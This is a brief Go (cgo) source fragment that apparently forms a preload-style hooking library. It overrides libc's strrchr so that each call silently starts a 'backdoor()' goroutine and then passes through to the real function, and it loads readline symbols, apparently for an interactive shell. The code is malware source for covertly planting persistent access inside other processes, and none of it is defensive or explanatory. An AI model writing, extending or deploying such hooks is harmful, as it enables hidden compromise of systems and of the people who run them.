//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
go backdoor()
lib, err := dl.Open("libc", 0)
if err != nil {
log.Fatalln(err)
}
defer lib.Close()
var old_strrchr func(s *C.char, c C.int) *C.char
lib.Sym("strrchr", &old_strrchr)
return old_strrchr(s, c)
}
func init() {
var lib *dl.DL
for _, v := range []string{"", dl.LibExt + ".5", dl.LibExt + ".6"} {
lib, _ = dl.Open("libreadline"+v, 0)
if lib != nil {
break
}
}
if lib != nil {
lib.Sym("readline", &readline)
lib.Sym("add_history", &add_history)
lib.Sym("read_history", &read_history)
lib.Sym("write_history", &write_history)
}
}